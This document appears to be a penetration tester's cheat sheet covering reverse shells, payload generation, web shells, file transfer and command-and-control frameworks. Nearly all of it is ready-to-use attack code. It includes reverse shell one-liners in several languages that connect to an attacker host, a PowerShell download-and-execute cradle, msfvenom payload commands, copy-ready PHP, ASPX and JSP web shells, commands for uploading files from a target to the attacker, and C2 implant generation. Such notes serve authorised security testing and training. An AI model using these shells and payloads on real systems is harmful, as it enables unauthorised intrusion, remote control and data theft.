Pentest_Notes

🐚 Shells, Payloads & Command-and-Control (C2)

Organized notes for shells, payloads, and C2 frameworks. Last Updated: 2026-03-27


Overview

After finding a vulnerability, the next step is gaining interactive access through shells and payloads. This section covers reverse shells, bind shells, web shells, payload generation, shell stabilization, and C2 frameworks.


Reverse Shells

Checklist

Listeners

# Netcat listener (basic)
nc -lnvp <PORT>

# Netcat with rlwrap (enables arrow keys and history)
rlwrap nc -lnvp <PORT>

# Socat listener
socat TCP-LISTEN:<PORT>,reuseaddr,fork -

# Metasploit multi/handler
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT <PORT>; exploit"

πŸ’‘ Pro Tip: Always use rlwrap with netcat β€” it provides readline support for arrow keys, history, and tab completion.

Linux Reverse Shells

# Bash
bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1'

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Perl
perl -e 'use Socket;$i="<ATTACKER_IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Netcat (traditional)
nc -e /bin/bash <ATTACKER_IP> <PORT>

# Netcat (without -e)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <ATTACKER_IP> <PORT> > /tmp/f

# PHP
php -r '$sock=fsockopen("<ATTACKER_IP>",<PORT>);exec("/bin/bash -i <&3 >&3 2>&3");'

# Ruby
ruby -rsocket -e'f=TCPSocket.open("<ATTACKER_IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Windows Reverse Shells

# PowerShell (one-liner)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# PowerShell (Base64 encoded β€” use for avoiding special character issues)
# Generate with: echo -n '<POWERSHELL_COMMAND>' | iconv -t utf-16le | base64 -w 0
powershell -e <BASE64_ENCODED_PAYLOAD>

# PowerShell via download cradle
powershell "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"

Msfvenom Payload Generation

# Windows β€” Staged reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe

# Windows β€” Stageless reverse TCP
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe

# Linux β€” Reverse TCP
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf

# ASPX web shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx -o shell.aspx

# WAR file (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o shell.war

# PHP reverse shell
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -o shell.php

# DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o shell.dll

# MSI (for AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o shell.msi

# HTA
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta-psh -o shell.hta

# Shellcode β€” Python format
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b '\x00' -f python -v shellcode

πŸ’‘ Pro Tip: Use staged payloads (meterpreter/reverse_tcp) with Metasploit handler and stageless payloads (shell_reverse_tcp) with netcat listeners.


Web Shells

PHP Web Shell (Simple)

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>

PHP Web Shell (Stealthy via POST)

<?php if(isset($_POST['cmd'])){echo shell_exec($_POST['cmd']);} ?>

ASPX Web Shell

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e)
{
    string cmd = Request["cmd"];
    if (cmd != null)
    {
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.Start();
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    }
}
</script>

JSP Web Shell

<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String dirone = dis.readLine();
    while ( dirone != null ) {
        out.println(dirone);
        dirone = dis.readLine();
    }
}
%>

Shell Stabilization & Upgrade

Linux Shell Stabilization

# Method 1: Python PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows <ROWS> cols <COLS>

# Method 2: Script command
script /dev/null -c bash
# Then: Ctrl+Z
stty raw -echo; fg

# Get terminal size (on attacker machine)
stty size

Windows Shell Improvement

# If you have cmd, switch to PowerShell
powershell

# If constrained language mode, try bypass
powershell -version 2

File Transfer

Checklist

HTTP Server (Attacker)

# Python HTTP server
python3 -m http.server 80

# PHP built-in server
php -S 0.0.0.0:80

# Using updog (supports uploads too)
updog -p 80

Download β€” Linux Target

# wget
wget http://<ATTACKER_IP>/file -O /tmp/file

# curl
curl http://<ATTACKER_IP>/file -o /tmp/file

# Netcat
# Attacker: nc -lnvp 4444 < file
nc <ATTACKER_IP> 4444 > file

Download β€” Windows Target

# PowerShell
Invoke-WebRequest -Uri "http://<ATTACKER_IP>/file.exe" -OutFile "C:\Windows\Temp\file.exe"
(New-Object Net.WebClient).DownloadFile("http://<ATTACKER_IP>/file.exe","C:\Windows\Temp\file.exe")

# certutil
certutil -urlcache -split -f "http://<ATTACKER_IP>/file.exe" "C:\Windows\Temp\file.exe"

# Bitsadmin
bitsadmin /transfer myDownloadJob /download /priority high "http://<ATTACKER_IP>/file.exe" "C:\Windows\Temp\file.exe"

Upload from Target

# Start upload server on attacker
python3 -m uploadserver 80

# Upload from Linux target
curl -X POST http://<ATTACKER_IP>/upload -F 'files=@/path/to/file'

# Upload from Windows (PowerShell)
Invoke-WebRequest -Uri "http://<ATTACKER_IP>/upload" -Method POST -InFile "C:\path\to\file"

SMB Server for File Transfer

# Start SMB server on attacker
impacket-smbserver share $(pwd) -smb2support

# Start SMB server with authentication
impacket-smbserver share $(pwd) -smb2support -user test -password test
# Copy file from Windows
copy \\<ATTACKER_IP>\share\file.exe C:\Windows\Temp\

# Mount as drive
net use Z: \\<ATTACKER_IP>\share /user:test test
copy Z:\file.exe C:\Windows\Temp\

Base64 Transfer (Small Files)

# Encode on source
base64 -w 0 file > file.b64
cat file.b64

# Decode on target
echo '<BASE64_STRING>' | base64 -d > file

C2 Frameworks

Metasploit Framework

# Start Metasploit
msfconsole

# Multi/handler for catching shells
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
exploit -j

# Useful Meterpreter commands
sessions -l           # List sessions
sessions -i <ID>      # Interact with session
background            # Background session
upload /path/file     # Upload file
download /path/file   # Download file
shell                 # Drop to system shell
getsystem             # Attempt privilege escalation
hashdump              # Dump password hashes
migrate <PID>         # Migrate to another process

Sliver C2

# Start Sliver
sliver-server

# Generate implant
generate --mtls <ATTACKER_IP> --os windows --arch amd64 --format exe --save /tmp/implant.exe

# Start listener
mtls -l <PORT>

# Interact with session
sessions
use <SESSION_ID>

Villain

# Start Villain
python3 Villain.py

# Generate payload
generate os=windows lhost=<ATTACKER_IP> obfuscate

Other C2 Frameworks

Framework Language Notable Feature
Metasploit Ruby Most comprehensive, huge module library
Sliver Go Modern, cross-platform, no dependency on target
Cobalt Strike Java Industry standard (commercial)
Havoc C/C++ Open-source Cobalt Strike alternative
Villain Python Simple, generates obfuscated payloads
Mythic Python/Go Web-based UI, extensible agents

Common Pitfalls / Gotchas

References & Further Reading